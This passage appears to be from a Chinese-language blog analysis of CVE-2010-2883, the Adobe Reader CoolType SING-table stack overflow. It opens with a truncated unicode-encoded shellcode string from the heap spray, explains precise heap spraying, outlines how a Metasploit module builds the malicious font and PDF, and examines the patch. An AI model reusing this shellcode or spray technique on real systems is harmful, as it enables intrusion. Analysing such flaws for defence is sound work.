80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u6dba%u42a5%udd5e%ud9c4%u2474%u5df4%uc931%u31b1%uc583%u3104%u0f55%u5503%u4762%ua2b7%u0594%u5b38%u6a64%ubeb0%uaa55%ucba6%u1ac5%u9eac%ud1e9%u0ae0%u977a%u3c2c%u12cb%u730b%u0fcc%u126f%u524e%uf4bc%u9d6f%uf5b1%uc0a8%ua738%u8e61%u58ef%uda06%ud233%uca54%u0733%ued2c%u9612%ub427%u18b4%ucce4%u02fc%ue9e9%ub9b7%u86d9%u6849%u6610%u55e5%u959d%u92f7%u4619%uea82%ufb5a%u2895%u2721%uab13%uac81%u1783%u6030%ud355%ucd3e%ubb11%ud022%ub7f6%u595e%u17f9%u19d7%ub3de%ufabc%ue57f%uac18%uf580%u11c3%u7d25%u46e9%udc54%u9867%u5aea%u9ac5%u64f4%uf379%uefc5%u8416%u25d9%u7a53%u6490%u13f5%ufd7d%u7e44%u2b7e%u878a%udefd%u7c72%uab1d%u3877%u4799%u5105%u684c%u52ba%u0b45%uc15d%ue205%u61f8%ufaaf' ); |
平常看到的Heap Spray
代码都是使用%u9090(NOP)
进行填充,看到这个漏洞的Heap Spray
代码有点蒙逼,然后百度了一下,发现%u0C0C
相当于OR AL,0CH
,虽然说用到了AL,但是这肯定与后面的shellcode
代码无关,所以也就相当于啥也没做。一般对Heap Spray
的内存块填充以NOP SLED + ShellCode
形式进行填充
,NOP SLED在整个内存块中所占比例较大
,所以当控制EIP转到0x0C0C0C0C
执行时,命中NOP SLED
的几率比较大。但是此漏洞使用的堆喷代码进行了精准堆喷
,使地址0x0C0C0C0C
处的代码就是用于漏洞利用的有效代码
。由于Windows
系统的分配粒度
为64KB
,所以分配到的堆块首地址
的对齐大小为0x10000
,堆块大小为0x100000(1MB)
。我们只要让每个内存块中地址为0x....0C0C
处的代码为漏洞利用的有效代码
,就可以做到精准堆喷
。为了加快堆喷
的速度,我们可以将1MB内存块
中,最后一个0x10000
内存片中shellcode后面
的数据剪掉,避免无用数据
的赋值,就可以加快堆喷的速度。
从上面的代码可知,我们是用大小为65536B
的数据填充1MB
的内存块,每块数据的起始地址都是0x....0000
,从temp_chip = nop.substring(0, (0x0c0c-0x24)/2);
这句可以看出,是为了将shellcode
放置在每个数据块(65536B)偏移为0x0C0C-0x24
的位置。0x24(36 bytes=32+4)是因为申请到的内存块拥有一些额外的信息
,为了精确的计算出偏移,所以要将这部分信息所占的内存减去。所以,当我们控制EIP跳转到0x0C0C0C0C
时,可以直接执行shellcode
。
SIZE | 说明 | |
---|---|---|
header | 32 bytes | 堆块信息头 |
string length | 4 bytes | 字符串长度 |
terminator | 2 bytes | 字符串终止符,两个字节的NULL |
0x43 Exploit脚本分析
1、exploit()
Exploit脚本位置在metasploit-framework/modules/exploits/windows/fileformat,其主函数为exploit,内容如下:
1 | def exploit |
2、make_ttf()
此函数首先打开了一个正常的ttf模板
文件,然后构造了SING表
数据,将ttf字体
文件中的name表
数据替换为构造的SING表
数据,“name”
字符串替换为“SING”
。构造的SING表数据
包括用于将程序控制流劫持到Heap Spary代码
处执行的ROP Chain
,以及溢出后、获得程序控制流之前,用于绕过造成程序执行出错
的数据。这部分在前面分析此漏洞是怎样触发
的时候,介绍过。
1 | def make_ttf |
3、make_js()
此函数的功能将javascript的代码
转换为字符串
,并将javascript的变量名
进行混淆
。javascript的代码用于堆喷
,所以我们应将用于将真正的shellcode
复制到可读可写可执行
内存段的ROP Chain
以及经过编码的Payload
编入其中。将真正的shellcode
复制到可读可写可执行
内存段的ROP Chain
的细节前面讲过了,就不说了。其他关键部分
都做了注释,函数功能
如下:
1 | def make_js(encoded_payload) |
4、make_pdf()
此函数一步一步构造pdf
中的每一个obj
,将ttf字体数据
和javascript代码
分别放在了obj10
和obj12
,然后在obj1
中设置/OpenAction 11 0 R
,使pdf文件打开
时,javascript
能够被执行,从而实现Heap Spary
。还构造了obj13
,使icucnv36.dll
能够被加载。因为,exp
中使用的ROPgadget
都是出自icucnv36.dll
模块的,所以其必须要被加载到内存
中。
1 | def make_pdf(ttf, js) |
0x50 漏洞修复
我下载了Adobe Reader v9.4.0
版本,安装好后,提取出了其中的CoolType.dll
模块。Adobe Reader v9.3.4
中CoolType.dll
的版本是v5.5.72.1
,Adobe Reader v9.4.0
中CoolType.dll
的版本是v5.5.73.1
。通过BinDiff
进行对比后,结果如下:
其中strcat()
函数被sub_813391E()
函数替换,我们进入sub_813391E()函数,看看是怎样验证uniqueName字段
长度的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25sub_813391E(&uniqueName_buf, (char *)(v22 + 16), 260);
sub_8001243(&uniqueName_buf);
char *__cdecl sub_813391E(char *uniqueName_buf, char *uniqueName_str, int max_length)
{
size_t len; // eax@1
char *result; // eax@2
len = strlen(uniqueName_buf); // 如果uniqueName_buf已经有了字符串,先计算其长度
if ( max_length > len ) // 判断字符串长度是否超过最大值,max_length=0x104=260
// 将pdf中uniqueName字段的内容复制到缓冲区中已有的字符串之后,长度之和不能超过260字节
result = strncat(&uniqueName_buf[len], uniqueName_str, max_length - len - 1);
else
result = uniqueName_buf;
return result;
}
//************************************************************************************************//
//函数原型:char *strncat(char *dest, const char *src, size_t n) //
//函数功能:从*src复制n个字节到*dest //
//函数参数:dest -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。 //
// src -- 要追加的字符串。 //
// n -- 要追加的最大字符数。 //
//函数返回值:该函数返回一个指向最终的目标字符串 dest 的指针。 //
//************************************************************************************************//
我们可以看到sub_813391E()
函数首先查看uniqueName在栈上的缓冲区
是否已经有字符串存在
,并通过strlen()
计算其长度。如果长度小于260
,则通过strncat()
函数将pdf中的字体数据中的SING表的uniqueName字段
的内容复制到栈上缓冲区中已经存在的字符串
后面,并且复制长度
与缓冲区中已经存在的字符串
的长度之和
不能超过260
字节。
到此为止,这个漏洞的分析暂告一段落,后面搞清楚了一些没搞清楚的细节,再来补充。
0x60 Reference
- 1.Aha Geek:CVE-2010-2883 Analysis
- 2.看雪仙果:千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
- 3.国家信息安全漏洞库:Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞
- 4.维基百科:PDF
- 5.0day安全:软件漏洞分析技术 30.2 PDF文档格式简介
- 6.漏洞战争:软件漏洞分析精要 2.3 CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞
- 7.C++反汇编与逆向分析技术揭秘 第9、10、11章
- 8.CVE-2010-2883漏洞分析 - 21Gun5
- 9.用TEB结构实现ShellCode的通用性
- 10.CVE-2010-2883漏洞分析 - k0shl